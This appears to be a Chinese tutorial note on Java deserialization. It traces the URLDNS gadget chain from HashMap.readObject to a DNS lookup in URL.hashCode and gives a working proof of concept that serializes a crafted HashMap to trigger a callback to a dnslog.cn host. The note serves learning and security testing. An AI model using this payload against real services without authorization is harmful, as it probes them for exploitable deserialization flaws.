什么是反序列化
序列化指的是把类实例化的对象转化成字节流或者字符串,便于传输
对于Java序列化的类需要实现Serializable接口
反序列化即将字节流与字符串重新转化回对象
反序列化时调用
ObjectInputStream ois = new ObjectInputStream(fis)) {
// 反序列化对象
Dog dog = (Dog) ois.readObject();
原理
入口点:
java.util.HashMap.readObject
putVal(hash(key), key, value, false, false);
其中hash方法调用了键对象的hashCode方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
利用链
先看java.net.URL类,URL重写了hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
hashCode是私有属性,防止重复调用,首次实例化对象时默认为-1,因此会调用handler.hashCode方法
该方法中getHostAddress尝试获取url的IP地址
InetAddress addr = getHostAddress(u);
最终在InetAddress中实例化域名对象时触发DNS查询
if (addrs == null) {
// create a NameServiceAddresses instance which will look up
// the name service and install it within cache...
Addresses oldAddrs = cache.putIfAbsent(
host,
addrs = new NameServiceAddresses(host)
);
if (oldAddrs != null) { // lost putIfAbsent race
addrs = oldAddrs;
}
}
Payload
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
public class URLDemo {
public static void main(String[] args) throws Exception {
Date nowTime = new Date();
HashMap hashmap = new HashMap();
URL url = new URL("http://lttx9f.dnslog.cn");
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true); // 绕过Java语言权限控制检查的权限
filed.set(url, 209);
hashmap.put(url, 209);
System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
filed.set(url, -1);
try {
FileOutputStream fileOutputStream = new FileOutputStream("./dnsser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./dnsser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
踩坑
filed.setAccessible(true); // 绕过Java语言权限控制检查的权限
访问私有属性在Java9以上需要额外参数,于是我想构建时使用JAVA8
若使用了高版本特性编写了JAVA代码,构建时再使用JAVA8会报错java: 警告: 源发行版 18 需要目标发行版 18,建议直接以JAVA8重新启个项目,不然我也不知道哪个是新特性啊。